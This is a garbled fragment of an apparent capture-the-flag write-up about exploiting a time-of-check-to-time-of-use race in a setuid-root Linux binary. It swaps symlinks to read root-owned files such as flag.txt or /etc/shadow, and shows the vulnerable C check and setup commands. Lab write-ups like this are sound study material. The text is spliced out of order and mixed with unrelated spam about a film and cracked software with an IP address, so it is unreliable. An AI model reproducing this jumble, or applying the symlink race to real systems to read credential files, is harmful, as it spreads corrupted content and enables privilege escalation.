#!/bin/bash Nonton Tidal Wave 2009 Sub Indo Best
user@hackviser:~$ ls -la /opt/vuln_binary -rwsr-sr-x 1 root root 16784 Jan 1 12:00 /opt/vuln_binary The s in the permissions indicates it runs with root privileges. Captain Of Industry V20250114 Cracked - 3.79.94.248
Challenge Category: Linux Privilege Escalation / Binary Exploitation Vulnerability: TOCTOU (Time-of-Check to Time-of-Use) 1. Challenge Overview The objective of this challenge is typically to read a sensitive file (like flag.txt or /etc/shadow ) that is owned by root, but to which our low-privilege user does not have access.
user@hackviser:~$ /opt/vuln_binary
user@hackviser:~$ touch /tmp/dummy user@hackviser:~$ ln -s /tmp/dummy /tmp/link We write a script to relentlessly swap the symlink target. We will use a standard while loop in Bash.
// 1. THE CHECK (Time of Check) // The program checks if the real user owns the file. if (stat(argv[1], &statbuf) == 0) { if (statbuf.st_uid != getuid()) { printf("Access Denied. You do not own this file.\n"); return 1; } } else { printf("File not found.\n"); return 1; }
user@hackviser:~$ chmod +x race.sh user@hackviser:~$ ./race.sh
user@hackviser:~$ echo "hello" > /tmp/myfile.txt user@hackviser:~$ /opt/vuln_binary /tmp/myfile.txt Access Granted. Reading file... hello Now, let's test it with the target flag: